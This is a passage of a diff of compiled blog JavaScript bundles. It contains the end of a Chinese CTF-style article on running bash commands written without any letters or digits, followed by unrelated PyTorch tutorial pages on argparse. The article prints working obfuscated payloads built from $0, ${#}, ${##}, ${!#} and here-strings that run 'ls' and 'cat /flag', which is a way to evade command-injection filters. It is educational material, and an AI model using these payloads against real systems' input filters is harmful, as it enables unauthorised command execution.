/\n"})}),"\n",(0,c.jsx)(n.p,{children:(0,c.jsx)(n.img,{alt:"image-20240607202145762",src:s(9877).A+"",width:"2614",height:"100"})}),"\n",(0,c.jsxs)(n.p,{children:["\u4f46\u73b0\u5728\u6709\u4e2a\u95ee\u9898\uff0c\u5c31\u662f\u7528\u4ec0\u4e48\u6765\u4ee3\u66ffbash\uff0c\u8fd9\u65f6\u53ef\u4ee5\u60f3\u5230\u6211\u4e4b\u524d\u6587\u7ae0\u91cc\u63d0\u5230\u8fc7\u7684\u4e00\u4e2a\u73af\u5883\u53d8\u91cf",(0,c.jsx)(n.code,{children:"$0"}),"\uff0c\u5b83\u53ef\u4ee5\u8868\u793a\u811a\u672c\u672c\u8eab\u7684\u540d\u5b57\uff0c\u800c\u8fd9\u91cc\u6b63\u662fbash\uff1a"]}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-sh",children:'root@racknerd-0f70a9:/# echo $"0"\n0\nroot@racknerd-0f70a9:/#\n'})}),"\n",(0,c.jsx)(n.p,{children:(0,c.jsx)(n.img,{alt:"image-20240607202310491",src:s(35088).A+"",width:"2576",height:"172"})}),"\n",(0,c.jsx)(n.p,{children:"\u56e0\u6b64\u6211\u4eec\u4e0d\u96be\u60f3\u51fa\u4e00\u79cd\u6784\u9020\u65b9\u5f0f\u6765\uff1a"}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-sh",children:"root@racknerd-0f70a9:/# $0<<<$\\'\\\\$(($((1<<1))#10011010))\\\\$(($((1<<1))#10100011))\\'\nbin boot core dev etc flag home lib lib32 lib64 libx32 lost+found media mnt opt proc root run\tsbin snap srv sys tmp tmp.txt tpdata usr var www\nroot@racknerd-0f70a9:/#\n"})}),"\n",(0,c.jsx)(n.p,{children:(0,c.jsx)(n.img,{alt:"image-20240607202342270",src:s(30198).A+"",width:"2548",height:"148"})}),"\n",(0,c.jsx)(n.p,{children:"\u6210\u529f\u6267\u884c\uff01\u5047\u5982\u8fd9\u662f\u4e00\u9053CTF\u9898\uff0c\u6211\u4eec\u5c31\u8be5\u60f3\u60f3\u600e\u4e48\u6267\u884ccat /flag\u4e86\uff0c\u4f60\u60f3\u5230\u7684payload\u53ef\u80fd\u662f\uff1a"}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-sh",children:"$0<<<$\\'\\\\$(($((1<<1))#10001111))\\\\$(($((1<<1))#10001101))\\\\$(($((1<<1))#10100100))\\\\$(($((1<<1))#101000))\\\\$(($((1<<1))#111001))\\\\$(($((1<<1))#10010010))\\\\$(($((1<<1))#10011010))\\\\$(($((1<<1))#10001101))\\\\$(($((1<<1))#10010011))\\'\n"})}),"\n",(0,c.jsxs)(n.p,{children:["bash\u4f1a\u544a\u8bc9\u4f60\u4e0d\u5b58\u5728",(0,c.jsx)(n.code,{children:"cat /flag"}),"\u8fd9\u79cd\u6587\u4ef6\u6216\u8005\u76ee\u5f55\uff0c\u5f88\u660e\u663e\uff0cbash\u662f\u628a\u5b83\u5f53\u4f5c\u4e00\u4e2a\u6574\u4f53\u4e86\uff0c\u5e76\u6ca1\u6709\u6709\u6548\u7684\u4ee5\u7a7a\u683c\u4f5c\u4e3a\u5206\u5272\uff0c\u8ba9cat\u4f5c\u4e3a\u547d\u4ee4\uff0c/flag\u4f5c\u4e3a\u53c2\u6570\uff0c\u5728ctfshow\u7684\u6781\u9650\u547d\u4ee4\u6267\u884c\u9898\u76ee\u91ccg4\u5e08\u5085\u7ed9\u51fa\u4e86\u4e00\u79cd\u89e3\u51b3\u8fd9\u79cd\u95ee\u9898\u7684\u65b9\u6cd5\u2014\u2014\u901a\u8fc7\u4e24\u6b21here-strings\u7684\u65b9\u6cd5\u6765\u89e3\u6790\u590d\u6742\u7684\u5e26\u53c2\u6570\u547d\u4ee4\uff0c\u4e5f\u5c31\u662f\u8bf4\u6211\u4eec\u53ef\u4ee5\u628apayload\u6539\u6210\uff1a"]}),"\n",(0,c.jsx)(n.p,{children:(0,c.jsx)(n.img,{alt:"image-20240609110358501",src:s(68610).A+"",width:"2970",height:"116"})}),"\n",(0,c.jsx)(n.p,{children:"\u6267\u884c\u6210\u529f\uff0c\u6211\u4eec\u62ff\u5230\u4e86flag\uff0c\u4f46\u53ef\u4ee5\u770b\u5230\u8fd9\u79cd\u6784\u9020\u65b9\u5f0f\u4e0d\u591f\u6781\u9650\uff0c\u91cc\u9762\u4e0d\u4f46\u51fa\u73b00\u66f4\u51fa\u73b0\u4e861\uff0c\u4e0b\u9762\uff0c\u6211\u4eec\u5f00\u59cb\u6784\u9020\u771f\u6b63\u7684\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4\u3002"}),"\n",(0,c.jsx)(n.h2,{id:"\u5229\u7528\u6784\u9020",children:"\u5229\u7528$#\u6784\u9020"}),"\n",(0,c.jsxs)(n.p,{children:["\u5728\u4e4b\u524d\u90a3\u7bc7\u6587\u7ae0\u91cc\u6211\u4e5f\u63d0\u5230\u8fc7",(0,c.jsx)(n.code,{children:"$#"}),"\u8fd9\u4e2a\u53d8\u91cf\uff0c\u5b83\u53ef\u4ee5\u8868\u793a#\u811a\u672c\u540e\u6240\u8f93\u5165\u7684\u5b57\u7b26\u4e32\u4e2a\u6570\uff1a"]}),"\n",(0,c.jsxs)(n.p,{children:["\u5982\u679c",(0,c.jsx)(n.code,{children:"#"}),"\u540e\u9762\u5565\u4e5f\u6ca1\u6709\u5b83\u5c31\u662f",(0,c.jsx)(n.code,{children:"0"}),"\uff0c\u6709\u4e00\u4e2a\u5b57\u7b26\u4e32\u6bd4\u5982",(0,c.jsx)(n.code,{children:"#"}),"\u5c31\u53d8\u6210\u4e86",(0,c.jsx)(n.code,{children:"1"}),"\uff0c\u4f3c\u4e4e\u73b0\u5728\u6211\u4eec\u53ea\u8981\u628a",(0,c.jsx)(n.code,{children:"1"}),"\u7528",(0,c.jsx)(n.code,{children:"${##}"}),"\u66ff\u6362\uff0c",(0,c.jsx)(n.code,{children:"0"}),"\u7528",(0,c.jsx)(n.code,{children:"${#}"}),"\u66ff\u6362\u5373\u53ef\uff1a"]}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-sh",children:"root@lavm-cobc2qtifw:/# $${#}<<<$${#}\\<\\<\\<\\$\\'\\\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\\'\n65523{#}: command not found\n"})}),"\n",(0,c.jsx)(n.p,{children:(0,c.jsx)(n.img,{alt:"image-20240609110839466",src:s(24026).A+"",width:"3000",height:"174"})}),"\n",(0,c.jsxs)(n.p,{children:["\u53ef\u60dc\u8fd9\u79cd\u6267\u884c\u65b9\u6cd5\u662f\u4e0d\u884c\u7684\uff0c\u56e0\u4e3a\u867d\u7136",(0,c.jsx)(n.code,{children:"$0"}),"\u8868\u793abash\uff0c",(0,c.jsx)(n.code,{children:"${#}"}),"\u8868\u793a0\uff0c\u4f46\u628a\u5b83\u4eec\u62fc\u8d77\u6765\u5e76\u4e0d\u8868\u793abash\uff0c\u8fd9\u91cc",(0,c.jsx)(n.code,{children:"$$"}),"\u76f4\u63a5\u6267\u884c\u4e86\uff0c\u610f\u601d\u662f\u811a\u672c\u8fd0\u884c\u7684\u5f53\u524d\u8fdb\u7a0bID\u53f7\u3002\u4e0b\u4e00\u6b65\u4f60\u53ef\u80fd\u4f1a\u60f3\u5230linux\u91cc\u7684\u5b57\u7b26\u4e32\u62fc\u63a5\uff0c\u4f46\u8fd9\u79cd\u62fc\u63a5\u4e5f\u53ea\u4f1a\u89e3\u6790\u7b2c\u4e00\u5c42\uff0c\u4e0d\u4f1a\u89e3\u6790\u5230\u6700\u540e\uff1a"]}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-sh",children:'__="$""${#}";echo ${__};\n'})}),"\n",(0,c.jsx)(n.p,{children:(0,c.jsx)(n.img,{alt:"image-20240609111007447",src:s(49561).A+"",width:"2506",height:"104"})}),"\n",(0,c.jsxs)(n.p,{children:["\u56e0\u6b64\u7406\u8bba\u4e0a\u6211\u4eec\u53ea\u8981\u627e\u5230\u4e00\u4e2a\u503c\u4e3a\u96f6\u7684\u53d8\u91cf\uff0c\u7136\u540e\u5c31\u53ef\u4ee5\u7528\u8fd9\u79cd\u65b9\u6cd5\u8fdb\u884c\u53d8\u91cf\u66ff\u6362\u5f97\u5230",(0,c.jsx)(n.code,{children:"$0"}),"\uff0c\u5e76\u4e14\u8fd8\u80fd\u6210\u529f\u89e3\u6790\uff0c\u8fd9\u65f6\u6211\u4eec\u5f88\u5bb9\u6613\u60f3\u5230\u521a\u521a\u4f7f\u7528\u7684",(0,c.jsx)(n.code,{children:"${#}"}),"\uff0c\u6bd5\u7adf\u5b83\u7684\u503c\u5c31\u662f\u96f6\u561b\uff1a"]}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-sh",children:"root@lavm-cobc2qtifw:/# echo ${!#}\nbash\nroot@lavm-cobc2qtifw:/#\n"})}),"\n",(0,c.jsx)(n.p,{children:"\u53ef\u4ee5\u770b\u5230\u786e\u5b9e\u80fd\u5f97\u5230bash\uff0c\u6211\u4eec\u518d\u6b21\u66ff\u6362\u56de\u53bb\uff0c\u53ef\u4ee5\u5f97\u5230\u65b0payload\uff1a"}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-sh",children:"root@lavm-cobc2qtifw:/# ${!#}<<<${!#}\\<\\<\\<\\$\\'\\\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\\'\nflag{1234}\nroot@lavm-cobc2qtifw:/#\n"})}),"\n",(0,c.jsx)(n.p,{children:(0,c.jsx)(n.img,{alt:"image-20240609111303604",src:s(81281).A+"",width:"3002",height:"158"})})]})}function h(e={}){const{wrapper:n}={...(0,$.R)(),...e.components};return n?(0,c.jsx)(n,{...e,children:(0,c.jsx)(a,{...e})}):a(e)}},81281:(e,n,s)=>{s.d(n,{A:()=>d});const d=s.p+"assets/images/image-20240609111303604-4fcdef97742f57f2916bae07b987d094.png"},94825:(e,n,s)=>{s.d(n,{A:()=>d});const d=s.p+"assets/images/image-20240607201034726-3b4b3cb270a6023685eed7db1f1a6323.png"}}]); \ No newline at end of file diff --git a/en/assets/js/dfa667f0.fd4ebe50.js b/en/assets/js/dfa667f0.fd4ebe50.js new file mode 100644 index 0000000..b793bc7 --- /dev/null +++ b/en/assets/js/dfa667f0.fd4ebe50.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[5767],{28453:(e,t,n)=>{n.d(t,{R:()=>i,x:()=>c});var r=n(96540);const s={},l=r.createContext(s);function i(e){const t=r.useContext(l);return r.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function c(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:i(e.components),r.createElement(l.Provider,{value:t},e.children)}},95839:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>o,contentTitle:()=>c,default:()=>a,frontMatter:()=>i,metadata:()=>r,toc:()=>d});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/README","title":"\u7b2c\u516d\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6"},"next":{"title":"6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570"}}');var s=n(74848),l=n(28453);const i={},c="\u7b2c\u516d\u7ae0",o={},d=[];function h(e){const t={code:"code",h1:"h1",header:"header",img:"img",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(t.header,{children:(0,s.jsx)(t.h1,{id:"\u7b2c\u516d\u7ae0",children:"\u7b2c\u516d\u7ae0"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:20"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 18:21:32"})]})})]}),"\n",(0,s.jsx)(t.h1,{id:"\u7b2c\u516d\u7ae0pytorch\u8fdb\u9636\u8bad\u7ec3\u6280\u5de7",children:"\u7b2c\u516d\u7ae0\uff1aPyTorch\u8fdb\u9636\u8bad\u7ec3\u6280\u5de7"}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-{toctree}",children:":maxdepth: 2\n6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570\n6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387\n6.3 \u6a21\u578b\u5fae\u8c03-torchvision\n6.3 \u6a21\u578b\u5fae\u8c03-timm\n6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3\n6.5 \u6570\u636e\u589e\u5f3a-imgaug\n6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2\n"})})]})}function a(e={}){const{wrapper:t}={...(0,l.R)(),...e.components};return t?(0,s.jsx)(t,{...e,children:(0,s.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/e0f52fd9.5b568594.js b/en/assets/js/e0f52fd9.5b568594.js new file mode 100644 index 0000000..eac08a1 --- /dev/null +++ b/en/assets/js/e0f52fd9.5b568594.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7710],{28453:(e,n,r)=>{r.d(n,{R:()=>l,x:()=>i});var t=r(96540);const a={},s=t.createContext(a);function l(e){const n=t.useContext(s);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function i(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(a):e.components||a:l(e.components),t.createElement(s.Provider,{value:n},e.children)}},96558:(e,n,r)=>{r.r(n),r.d(n,{assets:()=>d,contentTitle:()=>i,default:()=>c,frontMatter:()=>l,metadata:()=>t,toc:()=>p});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2","title":"6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0/6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0/6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"6.5 \u6570\u636e\u589e\u5f3a-imgaug.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.5 \u6570\u636e\u589e\u5f3a-imgaug"},"next":{"title":"\u7b2c\u4e03\u7ae0","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/"}}');var a=r(74848),s=r(28453);const l={},i="6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2.md",d={},p=[{value:"6.6.1 argparse\u7b80\u4ecb",id:"661-argparse\u7b80\u4ecb",level:2},{value:"6.6.2 argparse\u7684\u4f7f\u7528",id:"662-argparse\u7684\u4f7f\u7528",level:2},{value:"6.6.3 \u66f4\u52a0\u9ad8\u6548\u4f7f\u7528argparse\u4fee\u6539\u8d85\u53c2\u6570",id:"663-\u66f4\u52a0\u9ad8\u6548\u4f7f\u7528argparse\u4fee\u6539\u8d85\u53c2\u6570",level:2},{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2}];function o(e){const n={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,s.R)(),...e.components};return(0,a.jsxs)(a.Fragment,{children:[(0,a.jsx)(n.header,{children:(0,a.jsx)(n.h1,{id:"66-\u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2md",children:"6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,a.jsxs)(n.table,{children:[(0,a.jsx)(n.thead,{children:(0,a.jsxs)(n.tr,{children:[(0,a.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,a.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,a.jsx)(n.tbody,{children:(0,a.jsxs)(n.tr,{children:[(0,a.jsx)(n.td,{style:{textAlign:"left"},children:(0,a.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,a.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:21"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,a.jsxs)(n.table,{children:[(0,a.jsx)(n.thead,{children:(0,a.jsxs)(n.tr,{children:[(0,a.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,a.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,a.jsx)(n.tbody,{children:(0,a.jsxs)(n.tr,{children:[(0,a.jsx)(n.td,{style:{textAlign:"left"},children:(0,a.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,a.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,a.jsx)(n.h1,{id:"66-\u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2",children:"6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2"}),"\n",(0,a.jsx)(n.p,{children:"\u5728\u6df1\u5ea6\u5b66\u4e60\u4e2d\u65f6\uff0c\u8d85\u53c2\u6570\u7684\u4fee\u6539\u548c\u4fdd\u5b58\u662f\u975e\u5e38\u91cd\u8981\u7684\u4e00\u6b65\uff0c\u5c24\u5176\u662f\u5f53\u6211\u4eec\u5728\u670d\u52a1\u5668\u4e0a\u8dd1\u6211\u4eec\u7684\u6a21\u578b\u65f6\uff0c\u5982\u4f55\u66f4\u65b9\u4fbf\u7684\u4fee\u6539\u8d85\u53c2\u6570\u662f\u6211\u4eec\u9700\u8981\u8003\u8651\u7684\u4e00\u4e2a\u95ee\u9898\u3002\u8fd9\u65f6\u5019\uff0c\u8981\u662f\u6709\u4e00\u4e2a\u5e93\u6216\u8005\u51fd\u6570\u53ef\u4ee5\u89e3\u6790\u6211\u4eec\u8f93\u5165\u7684\u547d\u4ee4\u884c\u53c2\u6570\u518d\u4f20\u5165\u6a21\u578b\u7684\u8d85\u53c2\u6570\u4e2d\u8be5\u591a\u597d\u3002\u5230\u5e95\u6709\u6ca1\u6709\u8fd9\u6837\u7684\u4e00\u79cd\u65b9\u6cd5\u5462\uff1f\u7b54\u6848\u662f\u80af\u5b9a\u7684\uff0c\u8fd9\u4e2a\u5c31\u662f Python \u6807\u51c6\u5e93\u7684\u4e00\u90e8\u5206\uff1aArgparse\u3002\u90a3\u4e48\u4e0b\u9762\u8ba9\u6211\u4eec\u770b\u770b\u4ed6\u662f\u591a\u4e48\u65b9\u4fbf\u3002\u901a\u8fc7\u672c\u8282\u8bfe\uff0c\u60a8\u5c06\u4f1a\u6536\u83b7\u4ee5\u4e0b\u5185\u5bb9"}),"\n",(0,a.jsxs)(n.ul,{children:["\n",(0,a.jsx)(n.li,{children:"argparse\u7684\u7b80\u4ecb"}),"\n",(0,a.jsx)(n.li,{children:"argparse\u7684\u4f7f\u7528"}),"\n",(0,a.jsx)(n.li,{children:"\u5982\u4f55\u4f7f\u7528argparse\u4fee\u6539\u8d85\u53c2\u6570"}),"\n"]}),"\n",(0,a.jsx)(n.h2,{id:"661-argparse\u7b80\u4ecb",children:"6.6.1 argparse\u7b80\u4ecb"}),"\n",(0,a.jsxs)(n.p,{children:["argsparse\u662fpython\u7684\u547d\u4ee4\u884c\u89e3\u6790\u7684\u6807\u51c6\u6a21\u5757\uff0c\u5185\u7f6e\u4e8epython\uff0c\u4e0d\u9700\u8981\u5b89\u88c5\u3002\u8fd9\u4e2a\u5e93\u53ef\u4ee5\u8ba9\u6211\u4eec\u76f4\u63a5\u5728\u547d\u4ee4\u884c\u4e2d\u5c31\u53ef\u4ee5\u5411\u7a0b\u5e8f\u4e2d\u4f20\u5165\u53c2\u6570\u3002\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528",(0,a.jsx)(n.code,{children:"python file.py"}),"\u6765\u8fd0\u884cpython\u6587\u4ef6\u3002\u800cargparse\u7684\u4f5c\u7528\u5c31\u662f\u5c06\u547d\u4ee4\u884c\u4f20\u5165\u7684\u5176\u4ed6\u53c2\u6570\u8fdb\u884c\u89e3\u6790\u3001\u4fdd\u5b58\u548c\u4f7f\u7528\u3002\u5728\u4f7f\u7528argparse\u540e\uff0c\u6211\u4eec\u5728\u547d\u4ee4\u884c\u8f93\u5165\u7684\u53c2\u6570\u5c31\u53ef\u4ee5\u4ee5\u8fd9\u79cd\u5f62\u5f0f",(0,a.jsx)(n.code,{children:"python file.py --lr 1e-4 --batch_size 32"}),"\u6765\u5b8c\u6210\u5bf9\u5e38\u89c1\u8d85\u53c2\u6570\u7684\u8bbe\u7f6e\u3002"]}),"\n",(0,a.jsx)(n.h2,{id:"662-argparse\u7684\u4f7f\u7528",children:"6.6.2 argparse\u7684\u4f7f\u7528"}),"\n",(0,a.jsx)(n.p,{children:"\u603b\u7684\u6765\u8bf4\uff0c\u6211\u4eec\u53ef\u4ee5\u5c06argparse\u7684\u4f7f\u7528\u5f52\u7eb3\u4e3a\u4ee5\u4e0b\u4e09\u4e2a\u6b65\u9aa4\u3002"}),"\n",(0,a.jsxs)(n.ul,{children:["\n",(0,a.jsxs)(n.li,{children:["\u521b\u5efa",(0,a.jsx)(n.code,{children:"ArgumentParser()"}),"\u5bf9\u8c61"]}),"\n",(0,a.jsxs)(n.li,{children:["\u8c03\u7528",(0,a.jsx)(n.code,{children:"add_argument()"}),"\u65b9\u6cd5\u6dfb\u52a0\u53c2\u6570"]}),"\n",(0,a.jsxs)(n.li,{children:["\u4f7f\u7528",(0,a.jsx)(n.code,{children:"parse_args()"}),"\u89e3\u6790\u53c2\u6570\n\u5728\u63a5\u4e0b\u6765\u7684\u5185\u5bb9\u4e2d\uff0c\u6211\u4eec\u5c06\u4ee5\u5b9e\u9645\u64cd\u4f5c\u6765\u5b66\u4e60argparse\u7684\u4f7f\u7528\u65b9\u6cd5\u3002"]}),"\n"]}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-python",children:"# demo.py\nimport argparse\n\n# \u521b\u5efaArgumentParser()\u5bf9\u8c61\nparser = argparse.ArgumentParser()\n\n# \u6dfb\u52a0\u53c2\u6570\nparser.add_argument('-o', '--output', action='store_true', \n help=\"shows output\")\n# action = `store_true` \u4f1a\u5c06output\u53c2\u6570\u8bb0\u5f55\u4e3aTrue\n# type \u89c4\u5b9a\u4e86\u53c2\u6570\u7684\u683c\u5f0f\n# default \u89c4\u5b9a\u4e86\u9ed8\u8ba4\u503c\nparser.add_argument('--lr', type=float, default=3e-5, help='select the learning rate, default=1e-3') \n\nparser.add_argument('--batch_size', type=int, required=True, help='input batch size') \n# \u4f7f\u7528parse_args()\u89e3\u6790\u51fd\u6570\nargs = parser.parse_args()\n\nif args.output:\n print(\"This is some output\")\n print(f\"learning rate:{args.lr} \")\n\n"})}),"\n",(0,a.jsxs)(n.p,{children:["\u6211\u4eec\u5728\u547d\u4ee4\u884c\u4f7f\u7528",(0,a.jsx)(n.code,{children:"python demo.py --lr 3e-4 --batch_size 32"}),"\uff0c\u5c31\u53ef\u4ee5\u770b\u5230\u4ee5\u4e0b\u7684\u8f93\u51fa"]}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-bash",children:"This is some output\nlearning rate: 